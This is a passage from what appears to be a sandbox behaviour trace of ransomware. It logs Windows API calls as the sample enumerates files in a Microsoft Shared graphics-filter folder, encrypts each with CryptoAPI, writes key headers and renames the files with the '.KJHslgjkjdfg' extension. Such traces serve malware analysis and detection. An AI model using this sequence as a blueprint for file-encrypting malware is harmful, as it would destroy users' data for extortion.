Flags=0x0, Size=0x30) returned 0x2f14ca8 [0167.972] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dff258*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dff258*=0x30) returned 1 [0167.972] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0167.972] WriteFile (in: hFile=0xf0, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dff270*=0x30, lpOverlapped=0x0) returned 1 [0167.972] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0167.972] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0167.972] WriteFile (in: hFile=0xf0, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0167.972] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0167.972] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0167.972] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0167.972] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0167.972] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.973] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x692, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x692, lpOverlapped=0x0) returned 1 [0167.973] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6a0, dwBufLen=0x6a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6a0) returned 1 [0167.973] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.973] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6a0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x6a0, lpOverlapped=0x0) returned 1 [0167.973] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0167.973] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x764, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.973] SetEndOfFile (hFile=0xf0) returned 1 [0167.975] GetProcessHeap () returned 0x2ef0000 [0167.975] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0167.976] GetProcessHeap () returned 0x2ef0000 [0167.976] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0167.976] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.kjhslgjkjdfg")) returned 1 [0167.979] CloseHandle (hObject=0xf0) returned 1 [0167.979] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MS.WPG", cAlternateFileName="")) returned 1 [0167.979] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0167.979] GetProcessHeap () returned 0x2ef0000 [0167.979] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0167.979] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0167.979] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0167.979] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0168.458] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0168.458] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0168.458] GetProcessHeap () returned 0x2ef0000 [0168.458] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0168.458] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dff258*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dff258*=0x30) returned 1 [0168.458] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0168.458] WriteFile (in: hFile=0xf0, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dff270*=0x30, lpOverlapped=0x0) returned 1 [0168.458] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0168.458] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0168.458] WriteFile (in: hFile=0xf0, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0168.458] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0168.458] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0168.459] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0168.459] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0168.459] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.459] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x566, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x566, lpOverlapped=0x0) returned 1 [0168.459] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x570, dwBufLen=0x570 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x570) returned 1 [0168.459] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.459] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x570, lpOverlapped=0x0) returned 1 [0168.459] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0168.459] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x634, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.459] SetEndOfFile (hFile=0xf0) returned 1 [0168.462] GetProcessHeap () returned 0x2ef0000 [0168.462] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0168.462] GetProcessHeap () returned 0x2ef0000 [0168.462] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0168.462] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg.kjhslgjkjdfg")) returned 1 [0168.464] CloseHandle (hObject=0xf0) returned 1 [0168.464] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x11d78, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PICTIM32.FLT", cAlternateFileName="")) returned 1 [0168.464] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0168.466] GetProcessHeap () returned 0x2ef0000 [0168.466] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0168.466] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0168.466] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0168.466] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0168.472] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0168.472] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0168.472] GetProcessHeap () returned 0x2ef0000 [0168.472] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0168.472] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0168.473] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0168.473] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0168.473] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0168.473] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0168.473] WriteFile (in: hFile=0xf0, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0168.473] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0168.473] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0168.473] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0168.473] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0168.473] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.474] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x11d78, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x11d78, lpOverlapped=0x0) returned 1 [0168.475] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x11d80, dwBufLen=0x11d80 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x11d80) returned 1 [0168.476] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.476] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x11d80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x11d80, lpOverlapped=0x0) returned 1 [0168.477] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0168.477] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x11e54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.477] SetEndOfFile (hFile=0xf0) returned 1 [0168.480] GetProcessHeap () returned 0x2ef0000 [0168.480] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0168.480] GetProcessHeap () returned 0x2ef0000 [0168.480] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0168.480] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt.kjhslgjkjdfg")) returned 1 [0168.484] CloseHandle (hObject=0xf0) returned 1 [0168.484] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x49f80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PNG32.FLT", cAlternateFileName="")) returned 1 [0168.484] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0168.484] GetProcessHeap () returned 0x2ef0000 [0168.485] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0168.485] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0168.485] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0168.485] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0168.485] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0168.485] GetProcessHeap () returned 0x2ef0000 [0168.485] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0168.485] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dff258*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dff258*=0x30) returned 1 [0168.485] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0168.485] WriteFile (in: hFile=0xf0, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dff270*=0x30, lpOverlapped=0x0) returned 1 [0168.487] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0168.488] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0168.488] WriteFile (in: hFile=0xf0, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0168.488] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0168.488] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0168.488] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0168.488] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0168.488] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.488] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x49f80, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x49f80, lpOverlapped=0x0) returned 1 [0168.494] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x49f80, dwBufLen=0x49f80 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x49f80) returned 1 [0168.498] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.498] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x49f80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x49f80, lpOverlapped=0x0) returned 1 [0168.500] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0168.500] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4a044, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.500] SetEndOfFile (hFile=0xf0) returned 1 [0168.503] GetProcessHeap () returned 0x2ef0000 [0168.503] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0168.503] GetProcessHeap () returned 0x2ef0000 [0168.503] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0168.503] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt.kjhslgjkjdfg")) returned 1 [0168.504] CloseHandle (hObject=0xf0) returned 1 [0168.504] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 1 [0168.504] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0168.518] GetProcessHeap () returned 0x2ef0000 [0168.518] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0168.518] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0168.518] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0168.518] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0168.518] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0168.518] GetProcessHeap () returned 0x2ef0000 [0168.518] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0168.518] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0168.518] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0168.518] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0168.520] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0168.520] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0168.520] WriteFile (in: hFile=0xf0, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0168.520] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, 